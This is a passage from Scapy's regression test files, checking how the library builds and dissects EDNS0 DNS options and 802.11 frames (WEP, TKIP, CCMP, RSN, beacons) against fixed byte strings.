b'\\x00\\x02\\x00\\x00'\n\n= NSID - Live test\n~ netaccess needs_root\n\ndef _test():\n    with no_debug_dissector():\n        r = sr1(IP(dst=\"l.root-servers.net\")/UDP()/DNS(qd=[DNSQR(qtype=\"SOA\", qname=\".\")], ar=[DNSRROPT(z=0, rdata=[EDNS0TLV(optcode=\"NSID\")])]), timeout=1)\n    len(r.ar) and DNSRROPT in r.ar and len(r.ar[DNSRROPT].rdata) and len([x for x in r.ar[DNSRROPT].rdata if x.optcode == 3])\n\nretry_test(_test)\n\n\n+ EDNS0 - DAU\n\n= Basic instantiation & dissection\n\nb = b'\\x00\\x05\\x00\\x00'\n\np = EDNS0DAU()\nassert raw(p) == b\n\np = EDNS0DAU(b)\nassert p.optcode == 5 and p.optlen == 0 and p.alg_code == []\n\nb = raw(EDNS0DAU(alg_code=['RSA/SHA-256', 'RSA/SHA-512']))\n\np = EDNS0DAU(b)\nrepr(p)\nassert p.optcode == 5 and p.optlen == 2 and p.alg_code == [8, 10]\n\n\n+ EDNS0 - DHU\n\n= Basic instantiation & dissection\n\nb = b'\\x00\\x06\\x00\\x00'\n\np = EDNS0DHU()\nassert raw(p) == b\n\np = EDNS0DHU(b)\nassert p.optcode == 6 and p.optlen == 0 and p.alg_code == []\n\nb = raw(EDNS0DHU(alg_code=['SHA-1', 'SHA-256', 'SHA-384']))\n\np = EDNS0DHU(b)\nrepr(p)\nassert p.optcode == 6 and p.optlen == 3 and p.alg_code == [1, 2, 4]\n\n\n+ EDNS0 - N3U\n\n= Basic instantiation & dissection\n\nb = b'\\x00\\x07\\x00\\x00'\n\np = EDNS0N3U()\nassert raw(p) == b\n\np = EDNS0N3U(b)\nassert p.optcode == 7 and p.optlen == 0 and p.alg_code == []\n\nb = raw(EDNS0N3U(alg_code=['SHA-1']))\n\np = EDNS0N3U(b)\nrepr(p)\nassert p.optcode == 7 and p.optlen == 1 and p.alg_code == [1]\n\n\n+ EDNS0 - Client Subnet\n\n= Basic instantiation & dissection\n\nraw_d = b'\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x08\\x00\\x06\\x00\\x01\\x10\\x00\\xc0\\xa8'\n\nd = DNSRROPT(z=0, rdata=[EDNS0ClientSubnet()])\nassert raw(d) == raw_d\n\nd = DNSRROPT(raw_d)\nassert EDNS0ClientSubnet in d.rdata[0] and d.rdata[0].family == 1 and d.rdata[0].address == \"192.168.0.0\"\n\nraw_d  = b'\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x08\\x00\\x08\\x00\\x02 \\x00 \\x01\\r\\xb8'\nd = DNSRROPT(z=0, rdata=[EDNS0ClientSubnet(address=\"2001:db8::\")])\nassert raw(d) == raw_d\n\nd = DNSRROPT(raw_d)\nassert EDNS0ClientSubnet in d.rdata[0] and d.rdata[0].family == 2 and d.rdata[0].address == \"2001:db8::\"\n\n\n+ EDNS0 - Cookie\n\n= Basic instantiation & dissection\n\nb = b'\\x00\\n\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\np = EDNS0COOKIE()\nassert raw(p) == b\n\np = EDNS0COOKIE(b)\nassert p.optcode == 10\nassert p.optlen == 8\nassert p.client_cookie == b'\\x00' * 8\nassert p.server_cookie == b''\n\nb = b'\\x00\\n\\x00\\x18\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02'\n\np = EDNS0COOKIE(client_cookie=b'\\x01' * 8, server_cookie=b'\\x02' * 16)\nassert raw(p) == b\n\np = EDNS0COOKIE(b)\nassert p.optcode == 10\nassert p.optlen == 24\nassert p.client_cookie == b'\\x01' * 8\nassert p.server_cookie == b'\\x02' * 16\n\n\n+ EDNS0 - Extended DNS Error\n\n= Basic instantiation & dissection\n\nb = b'\\x00\\x0f\\x00\\x02\\x00\\x00'\n\np = EDNS0ExtendedDNSError()\nassert raw(p) == b\n\np = EDNS0ExtendedDNSError(b)\nassert p.optcode == 15 and p.optlen == 2 and p.info_code == 0 and p.extra_text == b''\n\nb = raw(EDNS0ExtendedDNSError(info_code=\"DNSSEC Bogus\", extra_text=\"proof of non-existence of example.com. NSEC\"))\n\np = EDNS0ExtendedDNSError(b)\nassert p.info_code == 6 and p.optlen == 45 and p.extra_text == b'proof of non-existence of example.com. NSEC'\n\nrropt = DNSRROPT(b'\\x00\\x00)\\x04\\xd0\\x00\\x00\\x00\\x00\\x001\\x00\\x0f\\x00-\\x00\\x06proof of non-existence of example.com. NSEC')\nassert len(rropt.rdata) == 1\np = rropt.rdata[0]\nassert p.info_code == 6 and p.optlen == 45 and p.extra_text == b'proof of non-existence of example.com. NSEC'\n\np = DNSRROPT(raw(DNSRROPT(rdata=[EDNS0ExtendedDNSError(), EDNS0ClientSubnet(), EDNS0TLV()])))\nassert len(p.rdata) == 3\nassert all(Raw not in opt for opt in p.rdata)\n\nfor opt_class in EDNS0OPT_DISPATCHER.values():\n    p = DNSRROPT(raw(DNSRROPT(rdata=[EDNS0TLV(), opt_class(), opt_class()])))\n    assert len(p.rdata) == 3\n    assert all(Raw not in opt for opt in p.rdata)\n"
  },
  {
    "path": "test/scapy/layers/dot11.uts",
    "content": "% Dot11 regression tests for Scapy\n\n############\n############\n+ 802.11\n~ dot11\n\n= 802.11 - misc\nPrismHeader().answers(PrismHeader()) == True\n\ndpl = Dot11PacketList([Dot11()/LLC()/SNAP()/IP()/UDP()])\nlen(dpl) == 1\n\ndpl_ether = dpl.toEthernet()\nlen(dpl_ether) == 1 and Ether in dpl_ether[0]\n\n= Dot11 - build\ns = raw(Dot11())\ns == b'\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\n\npkt = Dot11(ID=0x1205)\nraw_data = raw(pkt)\nexpected = b'\\x05\\x12'\nassert raw_data[2:4] == b'\\x05\\x12', f\"Encoded Dot11 ID field is {raw_data[2:4]}, expected {repr(expected)}.\"\n\n= Dot11 - dissection\np = Dot11(s)\nDot11 in p and p.addr3 == \"00:00:00:00:00:00\"\nassert p.mysummary() == '802.11 Management Association Request 00:00:00:00:00:00 (TA=SA) > 00:00:00:00:00:00 (RA=DA)'\nassert \"DA\" in p.address_meaning(1)\nassert \"SA\" in p.address_meaning(2)\nassert \"BSSID\" in p.address_meaning(3)\n\npkt = b'\\x00\\x00\\x05\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\ndecoded_pkt = Dot11(pkt)\nassert decoded_pkt.ID == 0x1205, f\"Decoded Dot11 ID field is {hex(decoded_pkt.ID)}, expected 0x1205.\"\n\n= Dot11QoS - build\ns = raw(Dot11()/Dot11QoS(Ack_Policy=1))\nassert s == b'\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00 \\x00'\n\ns = raw(Dot11(type=2, subtype=8)/Dot11QoS(TID=4))\nassert s == b'\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x04\\x00'\n\n= Dot11 - binary in SSID\npkt = Dot11() / Dot11Beacon() / Dot11Elt(ID=0, info=b\"\".join(chb(i) for i in range(32)))\npkt.show()\npkt.summary()\nassert pkt[Dot11Elt::{\"ID\": 0}].summary() == \"SSID='%s'\" % \"\".join(chr(d) for d in range(32))\n\npkt = Dot11(raw(pkt))\npkt.show()\npkt.summary()\nassert pkt[Dot11Elt::{\"ID\": 0}].summary() == \"SSID='%s'\" % \"\".join(chr(d) for d in range(32))\n\n= Dot11QoS - dissection\np = Dot11(s)\nassert Dot11QoS in p\nassert p.TID == 4\nassert \"DA\" in p.address_meaning(1)\nassert \"SA\" in p.address_meaning(2)\nassert \"BSSID\" in p.address_meaning(3)\n\n= Dot11 - answers\nquery = Dot11(type=0, subtype=0)\nDot11(type=0, subtype=1).answers(query) == True\n\n= Dot11 - misc\nassert Dot11Elt(info=\"scapy\").summary() == \"SSID='scapy'\"\nassert Dot11Elt(ID=1).mysummary() == \"\"\nassert Dot11(b'\\x84\\x00\\x00\\x00\\x00\\x11\\x22\\x33\\x44\\x55\\x00\\x11\\x22\\x33\\x44\\x55').addr2 == '00:11:22:33:44:55'\n\n= Dot11 - type 1 subtype 4, 5, 6\n\nassert raw(Dot11(type=1, subtype=4, addr2=\"ff:ff:ff:ff:ff:ff\")) == b'D\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff'\nassert raw(Dot11(type=1, subtype=5, addr2=\"ff:ff:ff:ff:ff:ff\")) == b'T\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff'\nassert raw(Dot11(type=1, subtype=6, addr2=\"ff:ff:ff:ff:ff:ff\", cfe=3)) == b'd0\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff'\nassert raw(Dot11(type=1, subtype=6, addr2=\"ff:ff:ff:ff:ff:ff\", cfe=6, addr3=\"aa:aa:aa:aa:aa:aa\")) == b'd`\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xaa\\xaa\\xaa\\xaa\\xaa\\xaa'\n\nassert Dot11(type=1, subtype=5).address_meaning(1) == 'RA'\nassert Dot11(type=1, subtype=6, cfe=5).address_meaning(2) == 'TA'\nassert Dot11(type=1, subtype=6, cfe=6).address_meaning(2) == 'NAV-SA'\nassert Dot11(type=1, subtype=6, cfe=6).address_meaning(3) == 'NAV-DA'\n\n= Multiple Dot11Elt layers\npkt = Dot11() / Dot11Beacon() / Dot11Elt(ID=\"Supported Rates\") / Dot11Elt(ID=\"SSID\", info=\"Scapy\")\nassert pkt[Dot11Elt::{\"ID\": 0}].info == b\"Scapy\"\nassert pkt.getlayer(Dot11Elt, ID=0).info == b\"Scapy\"\n\n= Dot11WEP - build\n~ crypto\nconf.wepkey = \"\"\nassert raw(PPI()/Dot11(FCfield=0x40)/Dot11WEP()) == b'\\x00\\x00\\x08\\x00i\\x00\\x00\\x00\\x00@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nconf.wepkey = \"test123\"\nassert raw(PPI()/Dot11(type=2, subtype=8, FCfield=0x40)/Dot11QoS()/Dot11WEP()) == b'\\x00\\x00\\x08\\x00i\\x00\\x00\\x00\\x88@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x008(^a'\n\n= Dot11WEP - dissect\n~ crypto\nconf.wepkey = \"test123\"\na = PPI(b'\\x00\\x00\\x08\\x00i\\x00\\x00\\x00\\x88@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x008(^a')\nassert a[Dot11QoS][Dot11WEP].icv == 942169697\nassert not a[Dot11].FCfield.to_DS\n\n= Dot11TKIP - dissection\n\npkt = RadioTap(b'\\x00\\x00\\x0f\\x00*\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x08B\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xfe\\xec\\xda\\x1d\\xa3M\\x00\\x04t\\x14\\x02BP+\\x01!\\x00\\xa0\\x01!\\x00\\xa0\\x01!\\x00\\xa0\\x00\\x00\\x00\\x00\\xb0\\xb6sN\\xbdl9S\\xc3x\\x9d\\xa6TEp\\xcd(\\xebht{\\xff9\\x9a[\\x0f~\\x00\\xf8&m$\\x1e\\xd2[dXn\\x16\\x8526G\\x8c\\x88\\xc3B\\xc9\\xda^\\xc5w\\xa5 \\x9a\\xa0 \\x08')\nassert Dot11TKIP in pkt\n\nassert pkt[Dot11TKIP].TSC1 == 1\nassert pkt[Dot11TKIP].WEPSeed == 33\nassert pkt[Dot11TKIP].TSC0 == 0\nassert pkt[Dot11TKIP].key_id == 2\nassert pkt[Dot11TKIP].ext_iv == 1\nassert pkt[Dot11TKIP].res == 0\nassert pkt[Dot11TKIP].TSC2 == 1\nassert pkt[Dot11TKIP].TSC3 == 33\nassert pkt[Dot11TKIP].TSC4 == 0\nassert pkt[Dot11TKIP].TSC5 == 160\n\nassert \"DA\" in pkt[Dot11].address_meaning(1)\nassert \"TA=BSSID\" in pkt[Dot11].address_meaning(2)\nassert \"SA\" in pkt[Dot11].address_meaning(3)\n\n= Dot11CCMP - dissection\n\npkt = RadioTap(b'\\x00\\x00\\x0f\\x00*\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x08b\\x00\\x00\\x01\\x00^\\x7f\\xff\\xfa\\x0e\\xec\\xda\\x1d\\xa3M\\x00\\x0eX7\\xbe\\xbe\\x00\\x8aD#\\x00\\xa0D#\\x00\\xa0\\x00\\x00\\x00\\x00c\\xb7\\rv/s\\x88N;>\\x07\\x0e\\xe5\\xd9\\xf5\\xfa\\xcdD\\xc2he\\xfc\\xc5^m\\xae\\xf2\\xfe\\xf9\\xb06\\xce\\rt\\xbe\\x9d(\\xb5\\x98\\x848NU\\x0f\\x93\\x0f]m\\xa2\\x96\\x80{\\x95\\x00\\xb5\\x98Y!\\xa3^\\xfc\\xda\\xca.R\\xf3\\xd3\\xf8^\\xeda\\x88\\x82p\\xc6\\xb8L\\x0b\\x815-\\x85(\\xb1F\\xd5K\\x166dJ\\xc7\\x04B\\xdb\\xec\\x8d\\xb7:{\\x0f\\'g<\\x06\\xd07>\\xde\\xad\\x08\\xcb\\xffr\\xfa\\xf4}o\\xe9\\xa9b\\xa5)\\x87\\x90\\xa5{\\xe1\\xea\\x0f\\x0fGf`x1\\xbd\\xc1\\xe8\\xa0\\xb6(\\x05gq\\xf3\\x99\\x9e\\x93\\xde\\'\\x8e\\nQ\\xf7\\xad\\xf7\\x89\"\\xee\\xcf\\xe8$\\x8a\\x9c\\xb4\\xe6\\x03\\xab\\x9ec\\xd0\\xd5\\x08\\xca\\xd2\\xbb\\xae\\xcc\\x9c$R\\xbc\\xcdFO?\\xc3Ah\\x9ch\\xd4\\x9b)m\\xea\\xbab+\\'\\x06I2\\xb5!\\xdb\\x03\\xbe\\xb8\\xb2\\x86\\x0f\\x80\\n\\xbc\\x85\\x02\\xb4T\\x00\\x00\\xc7|\\xac\\xc0B\\xb2\\x89\\xbb\\xc5\\xc0\\x93\\x858\\xe3Q\\xf9\\t\\xff4\\xdb\\x9a>\\xe5O-e\\x16\\x81w!9m\\xb9dZ\\xaa\\xaa0\\x9cW\\xaa\\xa3\\xf1\\xdd\\xecW\\xdd\\xc41D\\xe6\\xba\\xf3SQ\\x81S\\xf6\\xbd\\xe3\\xc0e\\xba\\xa0*\\x15%\\x9cz0\\xa8\\xa6l\\x8e\\x0c(\\xd3\\xe4\\xa2\\xf9\\xc2:Yae#T\\x8d\\xef\\x01\\xfad\\x05/\\xdb\\xf2!D\\xde~\\x0f\\x99\\xf6U\\xf5\\xbf\\xd0\\xaf\\xbe0\\xf7\\xf03\\xa8s`\\x8d>4\\x98\\xb5Y\\x06dXFz\\x88\\x82\\'B\\x84\\xe6\\xca\\x05\\x02\\xd5G\\xb6\\x11\\xed <\\xb1\\xd4\\xc9\\xa9\\xaa\\xae\\xc9\\xb3g\\xbc\\xfd+\\xe7\\x1aG\\x92\\x17\\xdb\\xce\\xf7\\x843\\xce4\\xc4w\\x8f\\x8a\\x83\\xf0\\'\\xfe\\x87\\x14\\x95\\xd3\\x0bM\\xbaL$\\xc8\\x8d\\' 8\\x87c 3yt\\xc5\\xeeN\\xc9\\xe1\\x95\\x1d\\xe9\\xddh\\x87E\\x07\\xe5\\x86\\xc7\\x82\\x8a\\x88\\x05\\xa4\\x06\\xb1\\x0c\\xddV\\xd0\\xf0d\\xc8\\xcet`\\xc5C\\xcb\\x8f\\x06]A\\x92\\x1a\\xae5wc\\x8dN\\xa2\\xf0}aJ\\x9c\\x8e\\xd1\\xb2[*\\xffK\\x0f\\xf8u\\xd5\\x84#\\xc3\"\\xffX\\x9f\\xffC\\x0fb\\x02n\\x1b\\xbaAr\\x93\\xe1\\xb7\\x1f\\x8e\\x1c\\xfev]w\\xaa\\xcch\\x8c{lm\\xb9\\x9aE\\x08\\x1d\\xc28u\\x82\\xa8\\xbe\\xf2\\xb3\\x11\\xdc\\x90 \\x83\\xa7\\x9c*:\\x01R\\xcf\\xd6\\xc6~\\x989\\x9a5\\xc97\\xfa\\x10<x|kQ5\\xa1S\\x17\\x1a\\xc1\\x83\\xa03\\xec\\xf0h8\\xfbZA\\x03\"&p\\x99\\n\\x01\\x9c\\xa9\\xd9\\xff\\xdf\\'n$K8t\\x0br_\\xce^\\xf3\\xf4v\\xff\\x11\\xde\\xc7Wo\\xe9\\xaf%\\x02UM\\xb5l\\xb9\\x88=x\\x87\\xfamH\\xb2;7|\\x99C\\xb6{}n_Z\\xc7i\\\\:D\\xdd\\x87\\xf3\\\\e\\xdeH\\x1b~9\\xcb\\xaeg\\x99\\xde4\\xcf9\\xe9\\xc8\\x8f\\x87DLz\\xe0\\xa4\\xca\\x04\\xa2\\x93\\xaf\\x80g\\xfb\\x9d\\xb8\\xa8y\\xb8K\\xaa\\x8b2\\xfe\\xfb\\x90+\\x0e\\xcc_J\\x13\\xe5,\\x12\\x9a>\\xe4!uEP\\x968\\x00*\\xd0\\xefE\\xf8{\\x1d(\\xcb\\xe3IR\\\\r\\xee\\x9fU\\x14\\ty\\xe3\\xdc\\x96@\\xf4\\x8d\\x17\\xab\\xcc\\x98I\\x8e\\xe16\\x9e\\xa5+\\xe0\\xa8{S\\x051##\\x90:A')\nassert Dot11CCMP in pkt\n\nassert pkt[Dot11CCMP].PN0 == 68\nassert pkt[Dot11CCMP].PN1 == 35\nassert pkt[Dot11CCMP].res0 == 0\nassert pkt[Dot11CCMP].key_id == 2\nassert pkt[Dot11CCMP].ext_iv == 1\nassert pkt[Dot11CCMP].res1 == 0\nassert pkt[Dot11CCMP].PN2 == 68\nassert pkt[Dot11CCMP].PN3 == 35\nassert pkt[Dot11CCMP].PN4 == 0\nassert pkt[Dot11CCMP].PN5 == 160\n\n= Dot11 - answers\na = Dot11()/Dot11Auth(seqnum=1)\nb = Dot11()/Dot11Auth(seqnum=2)\nassert b.answers(a)\nassert not a.answers(b)\n\nassert not (Dot11()/Dot11Ack()).answers(Dot11())\nassert (Dot11()/LLC(dsap=2, ctrl=4)).answers(Dot11()/LLC(dsap=1, ctrl=5))\n\n# SAE\na = Dot11()/Dot11Auth(algo=3, seqnum=1)  # non-AP STA --> AP STA      COMMIT\nb = Dot11()/Dot11Auth(algo=3, seqnum=1)  # AP STA     --> non-AP STA  COMMIT\nc = Dot11()/Dot11Auth(algo=3, seqnum=2)  # non-AP STA --> AP STA      CONFIRM\nd = Dot11()/Dot11Auth(algo=3, seqnum=2)  # AP STA     --> non-AP STA  CONFIRM\ne = Dot11()/Dot11Auth(algo=0, seqnum=1)\n\nassert b.answers(a)\nassert c.answers(b)\nassert d.answers(c)\n\nassert not a.answers(e)\nassert not c.answers(e)\nassert not e.answers(a)\nassert not e.answers(c)\n\n= Dot11Beacon network_stats()\n\ndata = b'\\x00\\x00\\x12\\x00.H\\x00\\x00\\x00\\x02\\x8f\\t\\xa0\\x00\\x01\\x01\\x00\\x00\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xffDH\\xc1\\xb7\\xf0uDH\\xc1\\xb7\\xf0u\\x10\\xb7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x90\\x01\\x11\\x00\\x00\\x06SSID76\\x01\\n\\x82\\x84\\x0c\\x12\\x18$0H`l\\x03\\x01\\x080\\x18\\x01\\x00\\x00\\x0f\\xac\\x04\\x02\\x00\\x00\\x0f\\xac\\x04\\x00\\x0f\\xac\\x02\\x01\\x00\\x00\\x0f\\xac\\x02\\x0c\\x00\\x07\\tUSI\\x01\\x18\\x00\\n\\x05\\xe7'\npkt = RadioTap(data)\nnstats = pkt[Dot11Beacon].network_stats()\nnstats\nassert nstats == {\n   'channel': 8,\n   'crypto': {'WPA2/PSK'},\n   'rates': [1.0, 2.0, 6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0],\n   'ssid': 'SSID76',\n   'country': 'US',\n   'country_desc_type': 'Indoor'\n}\n\ndata = b'\\x00\\x00\\x16\\x00\\x0f\\x00\\x00\\x00|P\\xb1\\x82\\xae\\x86\\x05\\x00\\x00\\x02l\\t\\xa0\\x00\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\x02\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00:Q\\xb1\\x82\\xae\\x86\\x05\\x00d\\x00\\x11\\x04\\x00\\x0cWPA3-Network\\x01\\x08\\x82\\x84\\x8b\\x96\\x0c\\x12\\x18$\\x03\\x01\\x01\\x05\\x04\\x00\\x02\\x00\\x00*\\x01\\x042\\x040H`l0\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x08\\xc0\\x00;\\x02Q\\x00\\x7f\\x08\\x04\\x00\\x00\\x00\\x00\\x00\\x00@'\npkt = RadioTap(data)\nnstats = pkt[Dot11Beacon].network_stats()\nnstats\nassert nstats == {\n   'ssid': 'WPA3-Network',\n   'rates': [1.0, 2.0, 5.5, 11.0, 6.0, 9.0, 12.0, 18.0, 24.0, 36.0, 48.0, 54.0],\n   'channel': 1,\n   'crypto': {'WPA3/SAE'}\n}\n\n\n= Dot11EltCountry dissection\n\ndata = b\"\\x00\\x00&\\x00/@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00R\\xa9[#\\x00\\x00\\x00\\x00\\x10\\x18\\x85\\t\\xc0\\x00\\xc8\\x00\\x00\\x00\\xc3\\x00\\xc7\\x01P\\x080\\x00V\\x9cm\\xf4\\xb1\\xe9\\xa0\\xcf[\\xfb%0\\xa0\\xcf[\\xfb%0\\xa0R&\\x1a@\\xc2\\x06\\x03\\x00\\x00f\\x00!\\x14\\x00\\x1eDisney Convention Center Guest\\x01\\x07\\x12\\x98$0H`l\\x03\\x01\\x06\\x07\\x06US \\x01\\x0b\\x1e\\x0b\\x05\\n\\x00\\x8a\\x8d[ \\x01\\x03*\\x01\\x00-\\x1a,\\x18\\x1b\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x006\\x03*L\\x01=\\x16\\x06\\x00\\x05\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00F\\x05s\\xc0\\x00\\x00\\x00\\x7f\\x06\\x00\\x10\\x00\\x04\\x01@\\x85\\x1e\\x10\\x00\\x8f\\x00\\x0f\\x00\\xff\\x03Y\\x001617-AP33-SorcA\\x00\\n\\x00\\x00:\\x96\\x06\\x00@\\x96\\x00\\x0b\\x00\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x80\\x00\\x03\\xa4\\x00\\x00'\\xa4\\x00\\x00BC^\\x00b2/\\x00\\xdd\\x06\\x00@\\x96\\x01\\x01\\x04\\xdd\\x05\\x00@\\x96\\x03\\x05\\xdd\\x05\\x00@\\x96\\x0bI\\xdd\\x05\\x00@\\x96\\x14\\x00dZ\\x97\\xbf\"\npkt = RadioTap(data)\nassert pkt[Dot11EltCountry].info == b'US \\x01\\x0b\\x1e'\nassert len(pkt[Dot11EltCountry].descriptors) == 1\nassert pkt[Dot11EltCountry].descriptors[0].mtp == 30\n\n* Country element: padding check\ndata = hex_bytes('00001a002f48000017cd9f3100000000000c3c144001e000000080000000ffffffffffff461b860bef06461b860bef06909403e0f75b0000000064001105000c4c697665626f782d3232353001088c1218243048606c0301240504020300000728504c202401172801172c01173001173401173801173c011740011764011e68011e6c011e70011e000b05000002ffff46050000000000200100c30502171717002a01002d1aef0117fffffffffeffffffff1f000001000000000018e6e719003d1624050000000000000000000000000000000000000000dd180050f2020101840003a4000027a4000042435e0062322f0030140100000fac040100000fac040100000fac020000bf0cb279c33faaff0000aaff0000c005012a00fcffdd1e002686010300dd00000025040592000601d15b5816830000000000000000dd06002686170000dd0e00268618010101024c1b860bef067f080100080200000040dd3b0050f204104a0001101044000102105700010110470010344331423836f042f546303634433142103c000103103c0001031049000600372a000120')\npkt = RadioTap(data)\nassert pkt[Dot11EltCountry].pad == 0\nassert pkt.getlayer(Dot11Elt, ID=11)\n\n* Country element: Secondary padding check\nerp_payload = b'\\x2a\\x01\\x62'\ncountry_payload = b'\\x07\\x06\\x55\\x53\\x20\\x01\\x0b\\x1e'\n\nbare_country = Dot11EltCountry(country_payload)\ncountry_nested = Dot11EltCountry(country_payload + erp_payload)\n\nassert not bare_country.payload\nassert country_nested.payload\nassert country_nested.payload.ID == 42\n\n= RSNCipherSuite\nassert bytes(RSNCipherSuite()) == b'\\x00\\x0f\\xac\\x04'\nrsn =  RSNCipherSuite(b'\\x00\\x0f\\xac\\x04')\nassert rsn.oui == 0x0fac\nassert rsn.cipher == 0x04\n\n= AKMSuite\nassert bytes(AKMSuite()) == b'\\x00\\x0f\\xac\\x01'\nakm = AKMSuite(b'\\x00\\x0f\\xac\\x01')\nassert akm.oui == 0x0fac\nassert akm.suite == 0x01\n\n= PMKIDListPacket\nassert bytes(PMKIDListPacket()) == b'\\x00\\x00'\npmkids = PMKIDListPacket(b'\\x01\\x00LD\\xfe\\xf2l\\xdcV\\xce\\x0b7\\xab\\xc62\\x02O\\x11')\nassert pmkids.nb_pmkids == 1\nassert len(pmkids.pmkid_list) == 1\nassert pmkids.pmkid_list[0] == b'LD\\xfe\\xf2l\\xdcV\\xce\\x0b7\\xab\\xc62\\x02O\\x11'\n\n= Dot11EltRSN\nassert bytes(\n  Dot11EltRSN(group_cipher_suite=RSNCipherSuite(),\n              pairwise_cipher_suites=[RSNCipherSuite()],\n              akm_suites=[AKMSuite()],\n              pmkids=PMKIDListPacket(),\n              group_management_cipher_suite=RSNCipherSuite(cipher=6))\n) == b'0\\x1a\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x01\\xc0\\x00\\x00\\x00\\x00\\x0f\\xac\\x06'\n\n# No pmkids, no group management cipher suite\nrsn_ie = Dot11EltRSN(b'0\\x14\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x01\\x01\\x00')\nassert rsn_ie.group_cipher_suite.cipher == 0x04\nassert rsn_ie.nb_pairwise_cipher_suites == 0x01\nassert rsn_ie.pairwise_cipher_suites[0].cipher == 0x04\nassert rsn_ie.nb_akm_suites == 0x01\nassert rsn_ie.akm_suites[0].suite == 0x01\nassert rsn_ie.pre_auth\nassert Dot11Elt in rsn_ie\n\n# pmkids, group management cipher suite\npkt = RadioTap(b\"\\x00\\x000\\x00/@\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\xa0 \\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x0bpin;%\\xedN\\x10\\x0cl\\t\\xc0\\x00\\xce\\x00\\x00\\x00\\xb2\\x00\\xbd\\x01\\xce\\x02\\x80\\x00\\x00\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xec\\x17/\\x82\\x1e)\\xec\\x17/\\x82\\x1e)\\x10p\\x81a\\xa1\\x08\\x00\\x00\\x00\\x00d\\x001\\x04\\x00\\rROUTE-821E295\\x01\\x01\\x8c\\x03\\x01\\x01\\x05\\x04\\x00\\x02\\x00\\x00\\x07$IL \\x01\\x01\\x14\\x02\\x01\\x14\\x03\\x01\\x14\\x04\\x01\\x14\\x05\\x01\\x14\\x06\\x01\\x14\\x07\\x01\\x14\\x08\\x01\\x14\\t\\x01\\x14\\n\\x01\\x14\\x0b\\x01\\x14;\\x12QQRSTstuvwxyz{}~\\x7f\\x80*\\x01\\x000\\x1a\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x04\\x01\\x00\\x00\\x0f\\xac\\x02\\x8c\\x00\\x00\\x00\\x00\\x0f\\xac\\x06-\\x1a\\x8d\\x01\\x1f\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00=\\x16\\x01\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xdd\\x18\\x00P\\xf2\\x02\\x01\\x01\\x81\\x00\\x03\\xa4\\x00\\x00'\\xa4\\x00\\x00BT^\\x00a2/\\x00\\x7f\\x01